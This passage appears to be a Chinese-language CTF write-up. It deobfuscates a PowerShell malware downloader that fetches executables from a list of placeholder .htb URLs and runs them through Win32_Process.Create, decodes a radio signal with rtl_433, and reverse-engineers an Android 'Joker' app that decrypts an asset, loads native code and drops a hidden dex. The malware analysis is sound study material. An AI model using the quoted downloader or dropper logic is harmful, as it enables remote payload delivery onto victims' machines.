((')]wY]'+'[(s'+')]w'+'@h'+'ttps:][(s)'))+']w'+('][('+'s)]wn'+'g')+('ll'+'o')+('gist'+'i')+('cs.'+'h')+'t'+('b]'+'['+'('+'s)]w')+'ad'+('mi'+'n')+'er'+']'+('[(s'+')]w'+'W3m')+'k'+(('B'+'][(s'))+((')'+']w')))."rep`LAcE"((']'+'['+('(s)]'+'w')),([array]('/'),('xw'+'e'))[0])."sP`lIT"($Ivg3zcu + $Vxnlre0 + $Jzaewdy);
http://da-industrial.htb/js/9IdLP/
http://daprofesional.htb/data4/hWgWjTV/
https://dagranitegiare.htb/wp-admin/tV/
http://www.outspokenvisions.htb/wp-includes/aWoM/
http://mobsouk.htb/wp-includes/UY30R/
http://biglaughs.htb/smallpotatoes/Y/
https://ngllogistics.htb/adminer/W3mkB/
$Gcoyvlv=(('Kf'+'_')+('9'+'et1'));
Kf_9et1
foreach ($A8i3ke1 in $Anbyt1y){try{$Odb3hf3."dO`WnLOA`dfILe"($A8i3ke1, $Scusbkj);
foreach($A8i3ke1 in 一些链接){try{使用$Odb3hf3调用downloadfile从这些网站上面下载}}
根据wireshark分析这些网站实际上不存在
所以这个题病毒无害
$Zhcnaux=(('Ek'+'k')+('j'+'47t'));
$Zhcnaux=Ekkj47t
If ((&('Get-I'+'te'+'m') $Scusbkj)."LEn`GTh" -ge 45199) {${A8`I`3KE1}.("{1}{2}{0}" -f'ay','ToCha','rArr').Invoke() | .("{2}{1}{0}{3}" -f'-','ach','ForE','Object') -process { ${FN5`GGm`Sh} += ([byte][char]${_} -bxor 0xdf ) };
If ((&('Get-Item') "C:\Users\xxxx\Jrbevk4\Ccwr_2h\Ale7g_8.exe").length -ge 45199) {${链接}.ToCharArray.Invoke()执行远程文件 | .ForEach-Object -process { ${FN5`GGm`Sh} += ([byte][char]${_} -bxor 0xdf ) }; ToCharArray
$FN5ggmsH += (228);
数字
$b0Rje = [type]("{1}{0}" -F'VerT','Con');
$b0Rje =Convert
$B0RjE::"tO`BaS`E64S`TRI`Ng"(${fn5`ggm`sh}) | .("{2}{1}{0}" -f 'ile','ut-f','o') ${hB`mSK`V2T};
将${fn5`ggm`sh}进行base64编码 输出发送到C:\Users\xxxx\Jrbevk4\Ccwr_2h\Ale7g_8.conf
([wmiclass](('wi'+'n')+('32_'+'Proc'+'e')+'s'+'s'))."cR`eaTE"($Scusbkj);
Win32_Process.create(C:\Users\xxxxx\Jrbevk4\Ccwr_2h\Ale7g_8.exe)
$Glwki6a=('I'+'m'+('td'+'xv6'));
$Glwki6a=Imtdxv6
break;
$Pfpblh1=('Vs'+('lal'+'c')+'u')}}catch{}}$F47ief2=(('Bn'+'zid')+'rt')
$Pfpblh1=Vslalcu
$F47ief2=Bnzidrt
大概是从指定网址下载病毒再执行
根据wireshark分析这些网站实际上不存在
所以这个题病毒无害
dns服务器说找不到域名
HARDWARE
RFlag
在下载并解压文件后,我们可以看到这是一个 .cf32 文件。这是我第一次遇到这种类型的文件,所以我进行了一些关于它的研究。我发现它是一个包含复杂的32位浮点样本的文件。我还发现我们可以使用 rtl_433 对这个文件进行解码。所以让我们安装它。
rtl_433 signal.cf32 -A
输出结果是这样的
在最后一行,我们可以看到一些十六进制值。让我们尝试用 CyberChef 来解码它们。
我们的猜测是正确的,GET IT!
MOBILE
小丑
如果安装并运行该应用程序,将会看到一个游戏界面,但除此之外并没有其他特殊功能。正如标题所说:“Why so serious?”
通过直接使用 jadx 进行反编译,我们可以看到在 onCreate
时,如果 epoch time 为 1732145681,则将 a.f40a
分配给 str
变量。但由于这个时间不匹配,内部逻辑因此不会执行
为了查看 f40a
中包含的字符串,我们可以转到声明部分,看到它使用 c.a.o()
来填充结果值。
public static String f40a = c.a.o(new StringBuffer("Z3qSpRpRxWs"), new StringBuffer("3\\^>_>_>W"));
c.a.o()
的逻辑很简单,就是对 arg1
和 arg2
进行异或运算。因此,如果对这些字符串进行异或运算,是否可以得到可读的字符串呢?
为了进行快速的动态分析,已经按照下面的代码进行了修复并安装了应用程序。如何修复可以参考这篇文章
然后,为了确认被调用的函数,您追踪了 a2.a
类和 c.a
类,发现 a2.a.b()
中调用了 c.a.o()
,而该方法返回了特定的 URL。
如果查看 a2.a.b()
的逻辑,可以看到它发送了一个 GET 请求到某个 URL,但由于响应代码不是 200,因此似乎导致了 a2.a.a()
未执行。
因此,虽然可能有点繁琐,但已经重新修复了代码,将检查条件更改为 getResponseCode()!=200
,然后查看了被调用的函数。虽然由于某种未知的原因导致应用程序崩溃,但您可以看到已经进入了 a2.a.a()
。
a2.a.a()
如下所示。由于方法很长,让我们简要总结一下。首先,它将 assets/io/m/l/l/d
中的文件列成一个列表。然后进入一个循环,当文件名以 301.txt
结尾时,进入 if 语句,最终调用了 c.a.v()
。
// a.java: 44
public static void a(Context context, String str) {
String[] list;
try {
Method method = context.getClass().getMethod(c.a.o(new StringBuffer("FAUeRWDPR"), new StringBuffer("!$")), new Class[0]); // getAssets
for (String str2 : ((Resources) context.getClass().getMethod(c.a.o(new StringBuffer("TVGaV@\\FAPV@"), new StringBuffer("3")), new Class[0]).invoke(context, new Object[0])).getAssets().list(str)) {
try {
if (str2.endsWith(c.a.o(new StringBuffer("spqn484"), new StringBuffer("@")))) { // 301.txt
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append("ma1");
stringBuffer.append("7FEC");
InputStream open = ((AssetManager) method.invoke(context, new Object[0])).open(f40a + str2);
File file = new File(context.getCacheDir(), c.a.u(3));
FileOutputStream fileOutputStream = new FileOutputStream(file);
byte[] bArr = new byte[1024];
while (true) {
int read = open.read(bArr);
if (-1 == read) {
break;
}
fileOutputStream.write(bArr, 0, read);
}
open.close();
fileOutputStream.flush();
fileOutputStream.close();
c.a.f1860a = new String(stringBuffer).concat("2_l").concat("Yuo").concat("NQ").concat("$_To").concat("T99u_e0kINhw_Bzy");
c.a.v(context, file.getPath(), c.a.f1860a, new File(context.getCacheDir(), c.a.u(2).concat(".temp")).getPath());
}
Log.e("fileName", str2);
} catch (Exception e2) {
e2.printStackTrace();
}
}
} catch (IOException | NoSuchMethodException unused) {
} catch (IllegalAccessException e3) {
e = e3;
e.printStackTrace();
} catch (InvocationTargetException e4) {
e = e4;
e.printStackTrace();
}
}
实际上,当你检查 assets
目录时,应该会看到类似以下的内容。尽管它们具有 .txt
扩展名,但它们都是以二进制形式存在的。
那么现在我们来查看 c.a.v()
的逻辑。它将第二个参数 str2
设置为密钥,并使用 AES 算法。由于 cipher.init()
的第一个参数为2(DECRYPT_MODE),可以看出这是进行解密操作。也就是说,它将使用 AES 解密将 str
的内容写入 str3
文件。因此,如果我们知道 c.a.v()
的第三个参数,就能够查看解密后的内容
// a.java: 626
public static void v(Context context, String str, String str2, String str3) {
if (TextUtils.isEmpty(str3)) {
return;
}
try {
FileInputStream fileInputStream = new FileInputStream(str);
FileOutputStream fileOutputStream = new FileOutputStream(str3);
byte[] bytes = str2.getBytes();
MessageDigest messageDigest = MessageDigest.getInstance("SHA-1");
SecretKeySpec secretKeySpec = new SecretKeySpec(Arrays.copyOf(messageDigest.digest(bytes), 16), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, secretKeySpec, new IvParameterSpec(Arrays.copyOf(messageDigest.digest(bytes), 16)));
CipherInputStream cipherInputStream = new CipherInputStream(fileInputStream, cipher);
byte[] bArr = new byte[8];
while (true) {
int read = cipherInputStream.read(bArr);
if (read == -1) {
System.load(str3);
JokerNat.goto2((AssetManager) context.getClass().getMethod(o(new StringBuffer("FAUeRWDPR"), new StringBuffer("!$")), new Class[0]).invoke(context, new Object[0]));
fileOutputStream.flush();
fileOutputStream.close();
cipherInputStream.close();
return;
}
fileOutputStream.write(bArr, 0, read);
}
} catch (FileNotFoundException | UnsupportedEncodingException | IOException | IllegalAccessException | NoSuchMethodException | InvocationTargetException | InvalidAlgorithmParameterException | InvalidKeyException | NoSuchAlgorithmException | NoSuchPaddingException e2) {
e2.printStackTrace();
}
}
如果您查看 /data/user/0/meet.the.joker/cache/ll.temp
,可能会找到所需的信息。
使用 IDA 打开后,您可以快速查看 a()
。在第20~23行,它对字符串 71q3q2q2q:q;7<;.610;0+3<;,-;mnnp*&*
进行了 XOR 操作,并与 ^
进行异或。
void __fastcall a(JNIEnv *a1, int a2, jobject assetManager)
{
AAssetManager *v3; // x19
unsigned __int64 v4; // x22
char v5; // w23
unsigned __int64 v6; // x0
AAsset *v7; // x0
AAsset *v8; // x19
off_t v9; // w20
void *v10; // x21
v3 = AAssetManager_fromJava(a1, assetManager);
if ( time(0LL) >= 1762355499LL )
{
if ( __strlen_chk("71q3q2q2q:q;7<;.610;0+3<;,-;mnnp*&*", 0x24u) )
{
v4 = 0LL;
do
{
v5 = fn[v4];
v6 = __strlen_chk("^", 2u);
fn[v4] = k[v4 - v4 / v6 * v6] ^ v5;
++v4;
}
while ( __strlen_chk("71q3q2q2q:q;7<;.610;0+3<;,-;mnnp*&*", 0x24u) > v4 );
}
v7 = AAssetManager_open(v3, "71q3q2q2q:q;7<;.610;0+3<;,-;mnnp*&*", 0);
if ( v7 )
{
v8 = v7;
v9 = AAsset_getLength(v7);
v10 = malloc(v9 + 1);
AAsset_read(v8, v10, v9);
*((_BYTE *)v10 + v9) = 0;
d((char *)v10, v9);
AAsset_close(v8);
free(v10);
}
}
}
通过 CyberChef 进行解密后,您可能会发现 io/m/l/l/d/eibephonenumberse300.txt
这个字符串。
重新思考一下,考虑到 a()
接收 assetManager
作为参数,以及 JokerNat
类中带有 native
关键字的 goto2()
也接收 assetManager
类型的参数,我们可以推断 a()
其实就是 goto2()
而且,如果您查看第27行及之后的代码,您会发现它将 eibephonenumberse300.txt
的数据和大小传递给了 d()
方法。
看起来 d()
如下所示:
FILE *__fastcall d(char *a1, signed int a2)
{
char *v3; // x19
const char *v4; // x10
unsigned __int64 v5; // x8
__int64 v6; // x9
char *v7; // x13
char v8; // w14
unsigned __int64 v9; // x24
char v10; // w25
unsigned __int64 v11; // x0
unsigned __int64 v12; // x24
char v13; // w25
unsigned __int64 v14; // x0
unsigned __int64 v15; // x24
char v16; // w25
unsigned __int64 v17; // x0
FILE *result; // x0
FILE *v19; // x21
__int128 v20[8]; // [xsp+0h] [xbp-90h] BYREF
__int64 v21; // [xsp+88h] [xbp-8h]
v3 = a1;
v21 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
if ( a2 >= 1 )
{
v4 = "The flag is:";
v5 = 0LL;
v6 = (unsigned int)a2;
v7 = a1;
do
{
v8 = v4[-12 * (v5 / 0xC)];
++v5;
--v6;
++v4;
*v7++ ^= v8;
}
while ( v6 );
}
v20[6] = 0u;
v20[7] = 0u;
v20[4] = 0u;
v20[5] = 0u;
v20[2] = 0u;
v20[3] = 0u;
v20[0] = 0u;
v20[1] = 0u;
if ( __strlen_chk("-fcvc-fcvc-oggv,vjg,hmigp-k", 0x1Cu) )
{
v9 = 0LL;
do
{
v10 = dPath[v9];
v11 = __strlen_chk(kdPath, 2u);
dPath[v9] = kdPath[v9 - v9 / v11 * v11] ^ v10;
++v9;
}
while ( __strlen_chk("-fcvc-fcvc-oggv,vjg,hmigp-k", 0x1Cu) > v9 );
}
if ( stat("-fcvc-fcvc-oggv,vjg,hmigp-k", (struct stat *)v20) == -1 )
{
if ( __strlen_chk("-fcvc-fcvc-oggv,vjg,hmigp-k", 0x1Cu) )
{
v12 = 0LL;
do
{
v13 = dPath[v12];
v14 = __strlen_chk(kdPath, 2u);
dPath[v12] = kdPath[v12 - v12 / v14 * v14] ^ v13;
++v12;
}
while ( __strlen_chk("-fcvc-fcvc-oggv,vjg,hmigp-k", 0x1Cu) > v12 );
}
mkdir("-fcvc-fcvc-oggv,vjg,hmigp-k", 0x180u);
}
if ( __strlen_chk("-fcvc-fcvc-oggv,vjg,hmigp-k", 0x1Cu) )
{
v15 = 0LL;
do
{
v16 = dPath[v15];
v17 = __strlen_chk(kdPath, 2u);
dPath[v15] = kdPath[v15 - v15 / v17 * v17] ^ v16;
++v15;
}
while ( __strlen_chk("-fcvc-fcvc-oggv,vjg,hmigp-k", 0x1Cu) > v15 );
}
result = fopen("-fcvc-fcvc-oggv,vjg,hmigp-k", "wb");
if ( result )
{
v19 = result;
fwrite(v3, a2, 1u, result);
result = (FILE *)fclose(v19);
}
return result;
}
从第27行可以看到,同样进行了 XOR 运算。这里是将传入的 eibephonenumberse300.txt
数据与 “The flag is:” 进行 XOR 运算。
最后,从第75行开始,它将上述 XOR 运算的结果写入 /data/data/meet.the.joker/i
。
然而,当我直接访问上述目录时,并没有找到该文件。因此,通过 jadx 提取 eibephonenumberse300.txt
,然后对其进行 XOR,我发现其中包含 dex 文件的签名,如下所示。
我下载了文件,然后使用 jadx 打开,成功确认了flag